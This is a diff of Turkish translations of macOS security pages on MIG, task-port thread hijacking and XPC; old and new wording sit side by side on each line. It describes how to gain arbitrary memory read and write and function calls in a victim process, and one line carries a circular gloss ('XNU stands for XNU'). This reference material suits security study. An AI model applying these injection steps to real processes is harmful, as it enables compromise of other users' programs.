Daha önce [**bu yazıda**](https://reverse.put.as/2014/05/05/about-the-processor_set_tasks-access-to-kernel-memory-vulnerability/) belirtildiği gibi, geçmişte bu, daha önce bahsedilen korumayı aşarak diğer işlemlerde görev portlarına erişim sağladı ve **`processor_set_tasks`** çağrılarak her işlemde bir ana port alındı.\ [**bu gönderide**](https://reverse.put.as/2014/05/05/about-the-processor_set_tasks-access-to-kernel-memory-vulnerability/) belirtildiği gibi, geçmişte bu, daha önce bahsedilen korumayı aşarak diğer işlemlerde görev portlarına erişim sağlamayı mümkün kılıyordu ve **`processor_set_tasks`** çağrılarak her işlemde bir ana port alınıyordu.\
Günümüzde bu fonksiyonu kullanmak için root gereklidir ve bu korunduğu için yalnızca korumasız işlemlerde bu portları alabileceksiniz. Günümüzde bu fonksiyonu kullanmak için root gereklidir ve bu korunduğu için yalnızca korumasız işlemlerde bu portları alabileceksiniz.
Bunu şunlarla deneyebilirsiniz: Bunu şunlarla deneyebilirsiniz:

View File

@ -89,7 +89,7 @@ routine[1];
{{#endtab}} {{#endtab}}
{{#endtabs}} {{#endtabs}}
Önceki yapıya dayanarak **`myipc_server_routine`** fonksiyonu **mesaj ID'sini** alacak ve çağrılacak uygun fonksiyonu döndürecektir: Önceki yapıya dayanarak, **`myipc_server_routine`** fonksiyonu **mesaj ID'sini** alacak ve çağrılacak uygun fonksiyonu döndürecektir:
```c ```c
mig_external mig_routine_t myipc_server_routine mig_external mig_routine_t myipc_server_routine
(mach_msg_header_t *InHeadP) (mach_msg_header_t *InHeadP)
@ -104,11 +104,11 @@ return 0;
return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine; return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
} }
``` ```
Bu örnekte tanımlamalarda yalnızca 1 fonksiyon tanımlamışız, ancak daha fazla fonksiyon tanımlasaydık, bunlar **`SERVERPREFmyipc_subsystem`** dizisi içinde yer alırdı ve ilki ID **500**'e, ikincisi ID **501**'e atanırdı... Bu örnekte tanımlarda yalnızca 1 fonksiyon tanımlamışız, ancak daha fazla fonksiyon tanımlasaydık, bunlar **`SERVERPREFmyipc_subsystem`** dizisi içinde yer alırdı ve ilki ID **500**'e, ikincisi ID **501**'e atanırdı...
Eğer fonksiyonun bir **reply** göndermesi bekleniyorsa, `mig_internal kern_return_t __MIG_check__Reply__<name>` fonksiyonu da mevcut olurdu. Eğer fonksiyonun bir **cevap** göndermesi bekleniyorsa, `mig_internal kern_return_t __MIG_check__Reply__<name>` fonksiyonu da mevcut olurdu.
Aslında bu ilişkiyi **`myipcServer.h`** içindeki **`subsystem_to_name_map_myipc`** yapısında tanımlamak mümkündür (**`subsystem*to_name_map*\***`\*\* diğer dosyalarda): Aslında, bu ilişkiyi **`myipcServer.h`** dosyasındaki **`subsystem_to_name_map_myipc`** yapısında tanımlamak mümkündür (**`subsystem*to_name_map*\***`\*\* diğer dosyalarda):
```c ```c
#ifndef subsystem_to_name_map_myipc #ifndef subsystem_to_name_map_myipc
#define subsystem_to_name_map_myipc \ #define subsystem_to_name_map_myipc \
@ -221,7 +221,7 @@ NDR_record, `libsystem_kernel.dylib` tarafından dışa aktarılır ve MIG'in **
Bu ilginçtir çünkü bir ikili dosyada `_NDR_record` bir bağımlılık olarak bulunursa (`jtool2 -S <binary> | grep NDR` veya `nm`), bu, ikili dosyanın bir MIG istemcisi veya sunucusu olduğu anlamına gelir. Bu ilginçtir çünkü bir ikili dosyada `_NDR_record` bir bağımlılık olarak bulunursa (`jtool2 -S <binary> | grep NDR` veya `nm`), bu, ikili dosyanın bir MIG istemcisi veya sunucusu olduğu anlamına gelir.
Ayrıca **MIG sunucuları**, `__DATA.__const` içinde (veya macOS çekirdeğinde `__CONST.__constdata` ve diğer \*OS çekirdeklerinde `__DATA_CONST.__const` içinde) dağıtım tablosuna sahiptir. Bu, **`jtool2`** ile dökülebilir. Ayrıca **MIG sunucuları**, `__DATA.__const` içinde (veya macOS çekirdeğinde `__CONST.__constdata` ve diğer \*OS çekirdeklerinde `__DATA_CONST.__const`) dağıtım tablosuna sahiptir. Bu, **`jtool2`** ile dökülebilir.
Ve **MIG istemcileri**, sunuculara `__mach_msg` ile göndermek için `__NDR_record` kullanacaktır. Ve **MIG istemcileri**, sunuculara `__mach_msg` ile göndermek için `__NDR_record` kullanacaktır.
@ -229,7 +229,7 @@ Ve **MIG istemcileri**, sunuculara `__mach_msg` ile göndermek için `__NDR_reco
### jtool ### jtool
Birçok ikili dosya artık mach portlarını açmak için MIG kullanıyorsa, **MIG'in nasıl kullanıldığını** ve her mesaj kimliği ile **MIG'in hangi işlevleri yürüttüğünü** bilmek ilginçtir. Birçok ikili dosya artık mach portlarını açmak için MIG kullanıyorsa, **MIG'in nasıl kullanıldığını tanımlamak** ve her mesaj kimliği ile **MIG'in yürüttüğü işlevleri** bilmek ilginçtir.
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2), bir Mach-O ikili dosyasından MIG bilgilerini ayrıştırabilir, mesaj kimliğini belirtebilir ve yürütülecek işlevi tanımlayabilir: [**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2), bir Mach-O ikili dosyasından MIG bilgilerini ayrıştırabilir, mesaj kimliğini belirtebilir ve yürütülecek işlevi tanımlayabilir:
```bash ```bash
@ -365,17 +365,17 @@ return r0;
{{#endtab}} {{#endtab}}
{{#endtabs}} {{#endtabs}}
Aslında **`0x100004000`** fonksiyonuna giderseniz, **`routine_descriptor`** yapıların dizisini bulacaksınız. Yapının ilk elemanı, **fonksiyonun** uygulandığı **adres** ve **yapı 0x28 bayt** alır, bu yüzden her 0x28 bayttan (0. bayttan başlayarak) 8 bayt alabilir ve bu, çağrılacak **fonksiyonun adresi** olacaktır: Aslında **`0x100004000`** fonksiyonuna giderseniz, **`routine_descriptor`** yapıların dizisini bulacaksınız. Yapının ilk elemanı, **fonksiyonun** uygulandığı **adres** ve **yapı 0x28 byte** alır, bu yüzden her 0x28 byte'tan (byte 0'dan başlayarak) 8 byte alabilir ve bu, çağrılacak **fonksiyonun adresi** olacaktır:
<figure><img src="../../../../images/image (35).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../images/image (35).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../images/image (36).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../images/image (36).png" alt=""><figcaption></figcaption></figure>
Bu veriler [**bu Hopper script'i kullanarak**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py) çıkarılabilir. Bu veriler [**bu Hopper script'ini kullanarak**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py) çıkarılabilir.
### Debug ### Debug
MIG tarafından üretilen kod ayrıca giriş ve çıkış işlemleri hakkında günlükler oluşturmak için `kernel_debug` çağrısını da yapar. Bunları **`trace`** veya **`kdv`** kullanarak kontrol etmek mümkündür: `kdv all | grep MIG` MIG tarafından üretilen kod ayrıca giriş ve çıkış işlemleri hakkında günlükler oluşturmak için `kernel_debug` çağrısını yapar. Bunları **`trace`** veya **`kdv`** kullanarak kontrol etmek mümkündür: `kdv all | grep MIG`
## References ## References

View File

@ -13,19 +13,19 @@ Başlangıçta, **`task_threads()`** fonksiyonu, uzaktaki görevden bir iş par
İş parçacığını kontrol etmek için, **`thread_suspend()`** çağrılır ve yürütmesi durdurulur. İş parçacığını kontrol etmek için, **`thread_suspend()`** çağrılır ve yürütmesi durdurulur.
Uzaktaki iş parçacığında yalnızca **durdurma** ve **başlatma**, **kayıt** değerlerini **alma** ve **değiştirme** işlemlerine izin verilir. Uzaktan fonksiyon çağrıları, `x0` ile `x7` kayıtlarını **argümanlar** ile ayarlayarak, **`pc`**'yi hedeflenen fonksiyona yapılandırarak ve iş parçacığını etkinleştirerek başlatılır. İş parçacığının dönüşten sonra çökmediğinden emin olmak, dönüşün tespit edilmesini gerektirir. Uzaktaki iş parçacığında yalnızca **durdurma** ve **başlatma**, **kayıt değerlerini alma** ve **değiştirme** işlemlerine izin verilir. Uzaktan fonksiyon çağrıları, `x0` ile `x7` kayıtlarını **argümanlar** ile ayarlayarak, **`pc`**'yi hedeflenen fonksiyona yapılandırarak ve iş parçacığını etkinleştirerek başlatılır. İş parçacığının dönüşten sonra çökmediğinden emin olmak, dönüşün tespit edilmesini gerektirir.
Bir strateji, uzaktaki iş parçacığı için `thread_set_exception_ports()` kullanarak **bir istisna işleyici kaydetmektir**, fonksiyon çağrısından önce `lr` kaydını geçersiz bir adrese ayarlamaktır. Bu, fonksiyon yürütüldükten sonra bir istisna tetikler, istisna portuna bir mesaj gönderir ve dönüş değerini kurtarmak için iş parçacığının durumunu incelemeyi sağlar. Alternatif olarak, Ian Beerin triple_fetch istismarından benimsenen bir yöntemle, `lr` sonsuz döngüye ayarlanır. İş parçacığının kayıtları, **`pc` o talimata işaret edene kadar** sürekli izlenir. Bir strateji, uzaktaki iş parçacığı için `thread_set_exception_ports()` kullanarak **bir istisna işleyicisi kaydetmektir**, `lr` kaydını fonksiyon çağrısından önce geçersiz bir adrese ayarlamaktır. Bu, fonksiyon yürütüldükten sonra bir istisna tetikler, istisna portuna bir mesaj gönderir ve dönüş değerini kurtarmak için iş parçacığının durumunu incelemeyi sağlar. Alternatif olarak, Ian Beerin triple_fetch istismarından benimsenen bir yöntemle, `lr` sonsuz döngüye ayarlanır. İş parçacığının kayıtları, **`pc` o talimata işaret edene kadar** sürekli izlenir.
## 2. Mach ports for communication ## 2. Mach ports for communication
Sonraki aşama, uzaktaki iş parçacığı ile iletişimi kolaylaştırmak için Mach portları kurmaktır. Bu portlar, görevler arasında keyfi gönderme ve alma haklarının aktarımında önemlidir. Sonraki aşama, uzaktaki iş parçacığı ile iletişimi kolaylaştırmak için Mach portları kurmaktır. Bu portlar, görevler arasında keyfi gönderme ve alma haklarının aktarımında önemli bir rol oynar.
İki yönlü iletişim için, bir yerel ve diğeri uzaktaki görevde olmak üzere iki Mach alma hakkı oluşturulur. Ardından, her port için bir gönderme hakkı karşıt göreve aktarılır ve mesaj alışverişine olanak tanır. İki yönlü iletişim için, bir yerel ve diğeri uzaktaki görevde olmak üzere iki Mach alma hakkı oluşturulur. Ardından, her port için bir gönderme hakkı karşıt göreve aktarılır ve mesaj alışverişine olanak tanır.
Yerel port üzerinde odaklanıldığında, alma hakkı yerel görev tarafından tutulur. Port, `mach_port_allocate()` ile oluşturulur. Bu port için bir gönderme hakkını uzaktaki göreve aktarmak zorluk teşkil eder. Yerel port üzerinde odaklanıldığında, alma hakkı yerel görev tarafından tutulur. Port, `mach_port_allocate()` ile oluşturulur. Bu port için bir gönderme hakkını uzaktaki göreve aktarmak zorluk teşkil eder.
Bir strateji, `thread_set_special_port()` kullanarak yerel port için bir gönderme hakkını uzaktaki iş parçacığının `THREAD_KERNEL_PORT`'una yerleştirmeyi içerir. Ardından, uzaktaki iş parçacığına `mach_thread_self()` çağrısı yapması talimatı verilir, böylece gönderme hakkını alır. Bir strateji, `thread_set_special_port()` kullanarak yerel port için bir gönderme hakkını uzaktaki iş parçacığının `THREAD_KERNEL_PORT`'una yerleştirmektir. Ardından, uzaktaki iş parçacığına `mach_thread_self()` çağrısı yapması talimatı verilir, böylece gönderme hakkını alır.
Uzaktaki port için süreç esasen tersine çevrilir. Uzaktaki iş parçacığı, `mach_reply_port()` aracılığıyla bir Mach portu oluşturması için yönlendirilir (çünkü `mach_port_allocate()` dönüş mekanizması nedeniyle uygun değildir). Port oluşturulduktan sonra, uzaktaki iş parçacığında bir gönderme hakkı oluşturmak için `mach_port_insert_right()` çağrılır. Bu hak daha sonra `thread_set_special_port()` kullanılarak çekirdekte saklanır. Yerel görevde, uzaktaki iş parçacığı üzerinde `thread_get_special_port()` kullanılarak uzaktaki görevde yeni tahsis edilen Mach portuna bir gönderme hakkı edinilir. Uzaktaki port için süreç esasen tersine çevrilir. Uzaktaki iş parçacığı, `mach_reply_port()` aracılığıyla bir Mach portu oluşturması için yönlendirilir (çünkü `mach_port_allocate()` dönüş mekanizması nedeniyle uygun değildir). Port oluşturulduktan sonra, uzaktaki iş parçacığında bir gönderme hakkı oluşturmak için `mach_port_insert_right()` çağrılır. Bu hak daha sonra `thread_set_special_port()` kullanılarak çekirdekte saklanır. Yerel görevde, uzaktaki iş parçacığı üzerinde `thread_get_special_port()` kullanılarak uzaktaki görevde yeni tahsis edilen Mach portuna bir gönderme hakkı edinilir.
@ -97,7 +97,7 @@ Amaç, yerel ve uzaktaki görevler arasında paylaşılan bellek oluşturarak ve
2. **Uzaktaki Süreçte Paylaşılan Bellek Oluşturma**: 2. **Uzaktaki Süreçte Paylaşılan Bellek Oluşturma**:
- Uzaktaki süreçte `malloc()` ile `OS_xpc_shmem` nesnesi için bellek tahsis edin. - Uzaktaki süreçte `OS_xpc_shmem` nesnesi için bellek tahsis edin ve `malloc()` ile uzaktan çağrı yapın.
- Yerel `OS_xpc_shmem` nesnesinin içeriğini uzaktaki sürece kopyalayın. Ancak, bu ilk kopya `0x18` ofsetinde yanlış Mach bellek girişi adlarına sahip olacaktır. - Yerel `OS_xpc_shmem` nesnesinin içeriğini uzaktaki sürece kopyalayın. Ancak, bu ilk kopya `0x18` ofsetinde yanlış Mach bellek girişi adlarına sahip olacaktır.
3. **Mach Bellek Girişini Düzeltme**: 3. **Mach Bellek Girişini Düzeltme**:
@ -107,7 +107,7 @@ Amaç, yerel ve uzaktaki görevler arasında paylaşılan bellek oluşturarak ve
4. **Paylaşılan Bellek Kurulumunu Tamamlama**: 4. **Paylaşılan Bellek Kurulumunu Tamamlama**:
- Uzaktaki `OS_xpc_shmem` nesnesini doğrulayın. - Uzaktaki `OS_xpc_shmem` nesnesini doğrulayın.
- `xpc_shmem_remote()` ile uzaktan bir çağrı yaparak paylaşılan bellek eşlemesini kurun. - `xpc_shmem_remote()` ile uzaktan çağrı yaparak paylaşılan bellek haritasını oluşturun.
Bu adımları izleyerek, yerel ve uzaktaki görevler arasında paylaşılan bellek verimli bir şekilde kurulacak ve veri transferleri ile birden fazla argüman gerektiren fonksiyonların yürütülmesi kolaylaşacaktır. Bu adımları izleyerek, yerel ve uzaktaki görevler arasında paylaşılan bellek verimli bir şekilde kurulacak ve veri transferleri ile birden fazla argüman gerektiren fonksiyonların yürütülmesi kolaylaşacaktır.
@ -131,10 +131,10 @@ Paylaşılan belleği başarıyla kurduktan ve keyfi yürütme yetenekleri kazan
1. **Keyfi Bellek İşlemleri**: 1. **Keyfi Bellek İşlemleri**:
- Paylaşılan alandan veri kopyalamak için `memcpy()` çağrısını yaparak keyfi bellek okumaları gerçekleştirin. - Paylaşılan bölgeden veri kopyalamak için `memcpy()` çağrısını yaparak keyfi bellek okumaları gerçekleştirin.
- Paylaşılan alana veri aktarmak için `memcpy()` kullanarak keyfi bellek yazmaları gerçekleştirin. - Paylaşılan bölgeye veri aktarmak için `memcpy()` kullanarak keyfi bellek yazmaları gerçekleştirin.
2. **Birden Fazla Argümanla Fonksiyon Çağrılarıyla İlgilenme**: 2. **Birden Fazla Argümanla Fonksiyon Çağrıları Yönetimi**:
- 8'den fazla argüman gerektiren fonksiyonlar için, ek argümanları çağrı konvansiyonuna uygun olarak yığında düzenleyin. - 8'den fazla argüman gerektiren fonksiyonlar için, ek argümanları çağrı konvansiyonuna uygun olarak yığında düzenleyin.
@ -143,7 +143,7 @@ Paylaşılan belleği başarıyla kurduktan ve keyfi yürütme yetenekleri kazan
- Daha önce kurulmuş portlar aracılığıyla görevler arasında Mach portlarını Mach mesajları ile aktarın. - Daha önce kurulmuş portlar aracılığıyla görevler arasında Mach portlarını Mach mesajları ile aktarın.
4. **Dosya Tanımlayıcı Transferi**: 4. **Dosya Tanımlayıcı Transferi**:
- Ian Beer'in `triple_fetch` adlı tekniğinde vurguladığı gibi, dosyaportları kullanarak süreçler arasında dosya tanımlayıcılarını aktarın. - `triple_fetch` tekniği ile Ian Beer tarafından vurgulanan dosyaportları kullanarak süreçler arasında dosya tanımlayıcılarını aktarın.
Bu kapsamlı kontrol, [threadexec](https://github.com/bazad/threadexec) kütüphanesi içinde kapsüllenmiştir ve kurban süreci ile etkileşim için ayrıntılı bir uygulama ve kullanıcı dostu bir API sağlar. Bu kapsamlı kontrol, [threadexec](https://github.com/bazad/threadexec) kütüphanesi içinde kapsüllenmiştir ve kurban süreci ile etkileşim için ayrıntılı bir uygulama ve kullanıcı dostu bir API sağlar.

View File

@ -4,23 +4,23 @@
## Temel Bilgiler ## Temel Bilgiler
XPC, macOS tarafından kullanılan XNU (çekirdek) arasındaki İletişim için bir çerçevedir ve **işlemler arasında iletişim** sağlar. XPC, sistemdeki farklı işlemler arasında **güvenli, asenkron yöntem çağrıları** yapma mekanizması sunar. Bu, her **bileşenin** işini yapmak için **sadece ihtiyaç duyduğu izinlerle** çalıştığı **ayrılmış ayrıcalıklarla uygulamaların** oluşturulmasına olanak tanıyan Apple'ın güvenlik paradigmasının bir parçasıdır ve böylece tehlikeye atılmış bir işlemin potansiyel zararını sınırlamaktadır. XPC, macOS tarafından kullanılan çekirdek olan XNU'nun (XNU stands for XNU) süreçler arası iletişim için bir çerçevedir. XPC, sistemdeki farklı süreçler arasında **güvenli, asenkron yöntem çağrıları** yapma mekanizması sağlar. Bu, her bir **bileşenin** işini yapmak için **gereken izinlerle** çalıştığı **ayrıcalık ayrılmış uygulamaların** oluşturulmasına olanak tanıyan Apple'ın güvenlik paradigmasının bir parçasıdır ve böylece tehlikeye atılmış bir sürecin potansiyel zararını sınırlamaktadır.
XPC, aynı sistemde çalışan farklı programların veri göndermesi ve alması için bir dizi yöntem olan bir İletişim (IPC) biçimi kullanır. XPC, aynı sistemde çalışan farklı programların veri göndermesi ve alması için bir dizi yöntem olan bir tür Süreçler Arası İletişim (IPC) kullanır.
XPC'nin temel faydaları şunlardır: XPC'nin temel faydaları şunlardır:
1. **Güvenlik**: Çalışmayı farklı işlemlere ayırarak, her işleme yalnızca ihtiyaç duyduğu izinler verilebilir. Bu, bir işlem tehlikeye atılsa bile, zarar verme yeteneğinin sınırlı olduğu anlamına gelir. 1. **Güvenlik**: Çalışmayı farklı süreçlere ayırarak, her bir sürece yalnızca ihtiyaç duyduğu izinler verilebilir. Bu, bir süreç tehlikeye atılsa bile, zarar verme yeteneğinin sınırlı olduğu anlamına gelir.
2. **Kararlılık**: XPC, çökme durumlarını meydana geldiği bileşene izole etmeye yardımcı olur. Bir işlem çökerse, sistemin geri kalanını etkilemeden yeniden başlatılabilir. 2. **Kararlılık**: XPC, çökme durumlarını meydana geldiği bileşene izole etmeye yardımcı olur. Bir süreç çökerse, sistemin geri kalanını etkilemeden yeniden başlatılabilir.
3. **Performans**: XPC, farklı görevlerin farklı işlemlerde aynı anda çalıştırılmasına olanak tanıyarak kolay eşzamanlılık sağlar. 3. **Performans**: XPC, farklı görevlerin farklı süreçlerde aynı anda çalıştırılmasına olanak tanıyarak kolay eşzamanlılık sağlar.
Tek **dezavantaj**, **bir uygulamayı birkaç işleme ayırmanın** ve bunların XPC aracılığıyla iletişim kurmasının **daha az verimli** olmasıdır. Ancak günümüz sistemlerinde bu neredeyse fark edilmez ve faydalar daha iyidir. Tek **dezavantaj**, **bir uygulamayı birkaç sürece ayırmanın** ve bunların XPC aracılığıyla iletişim kurmasının **daha az verimli** olmasıdır. Ancak günümüz sistemlerinde bu neredeyse fark edilmez ve faydalar daha iyidir.
## Uygulama Özel XPC hizmetleri ## Uygulama Özel XPC hizmetleri
Bir uygulamanın XPC bileşenleri **uygulamanın kendisinin içindedir.** Örneğin, Safari'de bunları **`/Applications/Safari.app/Contents/XPCServices`** içinde bulabilirsiniz. **`.xpc`** uzantısına sahiptirler (örneğin **`com.apple.Safari.SandboxBroker.xpc`**) ve ana ikili dosya ile birlikte **paketler**: `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` ve bir `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist` Bir uygulamanın XPC bileşenleri **uygulamanın kendisinin içindedir.** Örneğin, Safari'de bunları **`/Applications/Safari.app/Contents/XPCServices`** içinde bulabilirsiniz. **`.xpc`** uzantısına sahiptirler (örneğin **`com.apple.Safari.SandboxBroker.xpc`**) ve ana ikili dosya ile birlikte **paketler** halinde bulunurlar: `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` ve bir `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
Bir **XPC bileşeninin diğer XPC bileşenlerinden veya ana uygulama ikili dosyasından farklı haklara ve ayrıcalıklara sahip olacağını** düşünebilirsiniz. BİR XPC hizmeti, **Info.plist** dosyasında **JoinExistingSession** [**True**](https://developer.apple.com/documentation/bundleresources/information_property_list/xpcservice/joinexistingsession) olarak ayarlandığında hariçtir. Bu durumda, XPC hizmeti, onu çağıran uygulama ile **aynı güvenlik oturumunda** çalışacaktır. Bir **XPC bileşeninin**, diğer XPC bileşenlerinden veya ana uygulama ikili dosyasından farklı **haklara ve ayrıcalıklara sahip olacağını** düşünebilirsiniz. BİR XPC hizmeti, **Info.plist** dosyasında **JoinExistingSession** [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information_property_list/xpcservice/joinexistingsession) "True" olarak ayarlandığında hariçtir. Bu durumda, XPC hizmeti, onu çağıran uygulama ile **aynı güvenlik oturumunda** çalışacaktır.
XPC hizmetleri, gerektiğinde **launchd** tarafından **başlatılır** ve tüm görevler **tamamlandığında** sistem kaynaklarını serbest bırakmak için **kapalı** tutulur. **Uygulama özel XPC bileşenleri yalnızca uygulama tarafından kullanılabilir**, böylece potansiyel güvenlik açıklarıyla ilişkili riski azaltır. XPC hizmetleri, gerektiğinde **launchd** tarafından **başlatılır** ve tüm görevler **tamamlandığında** sistem kaynaklarını serbest bırakmak için **kapalı** tutulur. **Uygulama özel XPC bileşenleri yalnızca uygulama tarafından kullanılabilir**, böylece potansiyel güvenlik açıklarıyla ilişkili riski azaltır.
@ -28,7 +28,7 @@ XPC hizmetleri, gerektiğinde **launchd** tarafından **başlatılır** ve tüm
Sistem genelindeki XPC hizmetleri tüm kullanıcılar tarafından erişilebilir. Bu hizmetler, ya launchd ya da Mach türünde olup, **`/System/Library/LaunchDaemons`**, **`/Library/LaunchDaemons`**, **`/System/Library/LaunchAgents`** veya **`/Library/LaunchAgents`** gibi belirli dizinlerde bulunan plist dosyalarında **tanımlanmalıdır.** Sistem genelindeki XPC hizmetleri tüm kullanıcılar tarafından erişilebilir. Bu hizmetler, ya launchd ya da Mach türünde olup, **`/System/Library/LaunchDaemons`**, **`/Library/LaunchDaemons`**, **`/System/Library/LaunchAgents`** veya **`/Library/LaunchAgents`** gibi belirli dizinlerde bulunan plist dosyalarında **tanımlanmalıdır.**
Bu plist dosyalarında, hizmetin adıyla birlikte **`MachServices`** adında bir anahtar ve ikili dosyanın yolunu içeren **`Program`** adında bir anahtar bulunacaktır: Bu plist dosyaları, hizmetin adıyla birlikte **`MachServices`** adında bir anahtar ve ikili dosyanın yolunu içeren **`Program`** adında bir anahtar içerecektir:
```xml ```xml
cat /Library/LaunchDaemons/com.jamf.management.daemon.plist cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
@ -72,8 +72,8 @@ Her XPC mesajı, serileştirmeyi ve serileştirmeyi basitleştiren bir sözlük
Ayrıca, `xpc_copy_description(object)` fonksiyonu, hata ayıklama amaçları için yararlı olabilecek nesnenin bir dize temsilini almak için kullanılabilir.\ Ayrıca, `xpc_copy_description(object)` fonksiyonu, hata ayıklama amaçları için yararlı olabilecek nesnenin bir dize temsilini almak için kullanılabilir.\
Bu nesnelerin ayrıca `xpc_<object>_copy`, `xpc_<object>_equal`, `xpc_<object>_hash`, `xpc_<object>_serialize`, `xpc_<object>_deserialize` gibi çağrılacak bazı yöntemleri vardır... Bu nesnelerin ayrıca `xpc_<object>_copy`, `xpc_<object>_equal`, `xpc_<object>_hash`, `xpc_<object>_serialize`, `xpc_<object>_deserialize` gibi çağrılacak bazı yöntemleri vardır...
`xpc_object_t` nesneleri, `xpc_<objetType>_create` fonksiyonu çağrılarak oluşturulur; bu, nesnenin sınıf türünü (bir `XPC_TYPE_*`'dan biri) ve boyutunu (metadata için ekstra 40B eklenir) belirten `_xpc_base_create(Class, Size)` fonksiyonunu içten çağırır. Bu, nesnenin verilerinin 40B'lik bir ofsetten başlayacağı anlamına gelir.\ `xpc_object_t` nesneleri, `xpc_<objetType>_create` fonksiyonu çağrılarak oluşturulur; bu, nesnenin sınıf türünü (bir `XPC_TYPE_*` türü) ve boyutunu (metadata için ekstra 40B eklenir) belirten `_xpc_base_create(Class, Size)` fonksiyonunu içten çağırır. Bu, nesnenin verilerinin 40B'lik bir ofsetten başlayacağı anlamına gelir.\
Bu nedenle, `xpc_<objectType>_t`, `xpc_object_t`'nin bir alt sınıfı gibi olup, `os_object_t*`'nin bir alt sınıfıdır. Bu nedenle, `xpc_<objectType>_t`, `xpc_object_t`'nin bir alt sınıfı gibi olup, `os_object_t*`'nin bir alt sınıfı olacaktır.
> [!WARNING] > [!WARNING]
> Anahtarın türünü ve gerçek değerini almak veya ayarlamak için `xpc_dictionary_[get/set]_<objectType>` kullananın geliştirici olması gerektiğini unutmayın. > Anahtarın türünü ve gerçek değerini almak veya ayarlamak için `xpc_dictionary_[get/set]_<objectType>` kullananın geliştirici olması gerektiğini unutmayın.
@ -99,7 +99,7 @@ XPC, mesajları iletmek için GCD kullanır, ayrıca `xpc.transactionq`, `xpc.io
## XPC Hizmetleri ## XPC Hizmetleri
Bunlar, diğer projelerin **`XPCServices`** klasöründe bulunan **`.xpc`** uzantılı paketlerdir ve `Info.plist` dosyasında `CFBundlePackageType` **`XPC!`** olarak ayarlanmıştır.\ Bunlar, diğer projelerin **`XPCServices`** klasöründe bulunan **`.xpc`** uzantılı paketlerdir ve `Info.plist` dosyasında `CFBundlePackageType` **`XPC!`** olarak ayarlanmıştır.\
Bu dosya, uygulama, kullanıcı, sistem veya bir sandbox tanımlayabilen `_SandboxProfile` gibi diğer yapılandırma anahtarlarına sahiptir veya hizmete erişmek için gerekli olan yetkilendirmeleri veya kimlikleri belirtebilen `_AllowedClients` anahtarına sahiptir. Bu ve diğer yapılandırma seçenekleri, hizmet başlatıldığında yapılandırmak için yararlı olacaktır. Bu dosya, uygulama, kullanıcı, sistem veya bir sandbox tanımlayabilen `_SandboxProfile` gibi diğer yapılandırma anahtarlarına sahiptir veya hizmete erişmek için gerekli olan yetkilendirmeleri veya kimlikleri belirtebilecek `_AllowedClients` anahtarına sahiptir. Bu ve diğer yapılandırma seçenekleri, hizmet başlatıldığında yapılandırmak için yararlı olacaktır.
### Bir Hizmeti Başlatma ### Bir Hizmeti Başlatma
@ -116,7 +116,7 @@ XPC kütüphanesi, `xpc_ktrace_pid0` ve `xpc_ktrace_pid1` çağrılarıyla eylem
## XPC Olay Mesajları ## XPC Olay Mesajları
Uygulamalar, böyle olaylar gerçekleştiğinde **talep üzerine başlatılmalarını** sağlayan farklı olay **mesajlarına** **abone** olabilirler. Bu hizmetlerin **kurulumu**, **önceki dosyalarla aynı dizinlerde** bulunan **launchd plist dosyalarında** yapılır ve ekstra bir **`LaunchEvent`** anahtarı içerir. Uygulamalar, böyle olaylar gerçekleştiğinde **talep üzerine başlatılabilen** farklı olay **mesajlarına** **abone** olabilirler. Bu hizmetlerin **kurulumu**, **önceki dosyalarla aynı dizinlerde** bulunan **launchd plist dosyalarında** yapılır ve ekstra bir **`LaunchEvent`** anahtarı içerir.
### XPC Bağlantı Süreci Kontrolü ### XPC Bağlantı Süreci Kontrolü
@ -128,7 +128,7 @@ macos-xpc-connecting-process-check/
## XPC Yetkilendirmesi ## XPC Yetkilendirmesi
Apple, uygulamaların **bazı hakları yapılandırmalarına ve bunları nasıl alacaklarına** izin verir, böylece çağrılan süreç bu haklara sahipse, XPC hizmetinden bir yöntemi **çağırmasına izin verilir**: Apple, uygulamaların **bazı hakları yapılandırmasına ve bunları nasıl alacaklarına** izin verir, böylece çağrılan süreç bu haklara sahipse, XPC hizmetinden bir yöntemi **çağırmasına izin verilir**:
{{#ref}} {{#ref}}
macos-xpc-authorization.md macos-xpc-authorization.md
@ -149,7 +149,7 @@ xpcspy -U <prog-name> -t 'i:com.apple.*' -t 'o:com.apple.*' -r
``` ```
Başka bir kullanılabilir araç [**XPoCe2**](https://newosxbook.com/tools/XPoCe2.html). Başka bir kullanılabilir araç [**XPoCe2**](https://newosxbook.com/tools/XPoCe2.html).
## XPC İletişim C Kodu Örneği ## XPC İletişimi C Kodu Örneği
{{#tabs}} {{#tabs}}
{{#tab name="xpc_server.c"}} {{#tab name="xpc_server.c"}}

View File

@ -6,11 +6,11 @@
Apple, bağlantı kuran işlemin **açık bir XPC yöntemini çağırma izinlerine sahip olup olmadığını** doğrulamak için başka bir yol önerir. Apple, bağlantı kuran işlemin **açık bir XPC yöntemini çağırma izinlerine sahip olup olmadığını** doğrulamak için başka bir yol önerir.
